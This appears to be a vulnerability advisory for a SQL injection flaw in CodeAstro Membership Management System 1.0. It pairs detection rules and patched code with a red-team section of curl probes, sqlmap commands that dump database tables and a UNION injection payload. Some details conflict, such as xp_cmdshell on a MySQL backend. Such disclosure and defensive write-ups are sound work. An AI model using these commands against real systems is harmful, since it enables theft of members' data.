CVE-2025-70149

Executive Summary

CVE-2025-70149 identifies a critical SQL Injection vulnerability in CodeAstro Membership Management System version 1.0. The flaw resides in the print_membership_card.php script, where the ID parameter is directly concatenated into SQL queries without sanitization or parameterization. This allows an unauthenticated remote attacker to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some configurations, remote code execution via stacked queries or xp_cmdshell on Microsoft SQL Server. The vulnerability has a CVSS base score of 9.8 (Critical) due to network exploitability, low attack complexity, no privileges required, and no user interaction. No official patch exists; mitigation requires manual code hardening or application-level firewall rules.

Supply Chain & Package Security

This application is a standalone PHP project, not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct deployment of the vulnerable codebase.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no victim action required.
• Scope: Unchanged (S:U) – vulnerable component only.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – data modification or deletion.
• Availability Impact: High (A:H) – potential denial of service via resource exhaustion or database corruption.

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to complete database takeover.

Deep Dive & Mechanics

The vulnerability exists in print_membership_card.php. The application likely constructs a SQL query similar to:

$id = $_GET['ID'];
$query = "SELECT * FROM members WHERE id = $id";
$result = mysqli_query($conn, $query);

The ID parameter is taken directly from the HTTP GET request and inserted into the SQL query without any sanitization, escaping, or parameterized prepared statements. This allows an attacker to inject arbitrary SQL syntax.

Example Injection:

• Normal request: print_membership_card.php?ID=1
• Malicious request: print_membership_card.php?ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -

The injected UNION SELECT statement appends attacker-controlled data to the result set, enabling data extraction from other tables. More advanced payloads can use stacked queries (if the database supports them) to execute INSERT, UPDATE, DELETE, or even xp_cmdshell commands on SQL Server.

Database Backend: The application likely uses MySQL or MariaDB. The injection is blind or error-based depending on the application's error reporting configuration.

Vulnerable vs. Patched Code

Vulnerable Code (print_membership_card.php):

<?php
$id = $_GET['ID'];
$query = "SELECT * FROM members WHERE id = $id";
$result = mysqli_query($conn, $query);
// ... display results
?>

Patched Code (using prepared statements):

<?php
$id = $_GET['ID'];
$stmt = $conn->prepare("SELECT * FROM members WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
// ... display results
?>

The patched version uses a prepared statement with a parameterized query. The ? placeholder is bound to the $id variable as an integer ("i"), preventing any SQL injection. The database driver handles escaping and ensures the input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Target: CodeAstro Membership Management System 1.0 running on Apache/Nginx with PHP and MySQL.
• Attacker: Kali Linux with sqlmap and Burp Suite.

Step-by-Step Exploitation:

1. Identify the vulnerable parameter:

   curl "http://target/print_membership_card.php?ID=1"
   

2. Confirm SQL injection with a simple test:

   curl "http://target/print_membership_card.php?ID=1'"
   

   If an error is returned (e.g., You have an error in your SQL syntax), the parameter is injectable.

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target/print_membership_card.php?ID=1" --batch --dbs
   

4. Extract data:

   sqlmap -u "http://target/print_membership_card.php?ID=1" --batch -D membership_db --tables
   sqlmap -u "http://target/print_membership_card.php?ID=1" --batch -D membership_db -T users --dump
   

5. Manual UNION-based injection (if applicable):

   http://target/print_membership_card.php?ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
   

Blue Team (Defense & Detection)

Detection Steps:

• Monitor web server logs for abnormal SQL syntax in GET parameters (e.g., UNION, SELECT, --, ').
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use database activity monitoring to detect anomalous queries.

Hunting Queries:

• Search for requests to print_membership_card.php with ID parameter containing SQL keywords.
• Look for database error messages in HTTP responses (e.g., SQL syntax, mysql_fetch_array).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /print_membership_card.php with ID parameter containing SQL keywords (UNION, SELECT, ', --).
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
• File System IOCs:
  • Unexpected files in the web root (e.g., webshells like cmd.php).
  • Modified database configuration files.
• Database IOCs:
  • New or modified user accounts in the users table.
  • Unusual queries in database logs (e.g., UNION SELECT, xp_cmdshell).
• Log IOCs:
  • Web server access logs showing repeated print_membership_card.php?ID= requests with varying payloads.
  • Database error logs containing SQL syntax errors.

Detection Engineering

YARA Rule

rule CVE_2025_70149_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-70149 in CodeAstro Membership Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70149"
    strings:
        $sqli_pattern1 = /print_membership_card\.php\?ID=.*['\"]/ nocase
        $sqli_pattern2 = /print_membership_card\.php\?ID=.*UNION/i
        $sqli_pattern3 = /print_membership_card\.php\?ID=.*SELECT/i
        $sqli_pattern4 = /print_membership_card\.php\?ID=.*--/i
    condition:
        any of ($sqli_pattern*)
}

Sigma Rule

title: SQL Injection Attempt on CodeAstro Membership Management System
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-70149 via the ID parameter in print_membership_card.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'print_membership_card.php?ID='
        cs-uri-query|re:
            - ".*['\"].*"
            - ".*UNION.*"
            - ".*SELECT.*"
            - ".*--.*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70149 SQL Injection Attempt"; flow:to_server,established; content:"print_membership_card.php"; http_uri; pcre:"/print_membership_card\.php\?ID=.*['\"]/Ui"; pcre:"/print_membership_card\.php\?ID=.*UNION/i"; pcre:"/print_membership_card\.php\?ID=.*SELECT/i"; pcre:"/print_membership_card\.php\?ID=.*--/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch: Replace the vulnerable code with parameterized queries as shown in the "Vulnerable vs. Patched Code" section.
2. Input validation: Implement strict input validation for the ID parameter (allow only integers).
3. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns.
4. Database hardening: Use least-privilege database accounts; disable xp_cmdshell on SQL Server.

Long-term Measures:

• Conduct a full code audit for other SQL injection vulnerabilities.
• Implement prepared statements for all database queries.
• Use an ORM (Object-Relational Mapping) library to abstract SQL queries.
• Enable detailed logging and monitoring for web and database servers.

Vendor Contact: CodeAstro has not released an official patch. Users should monitor the vendor's website or consider migrating to a supported alternative.

Valters IT
Securing Digital Frontiers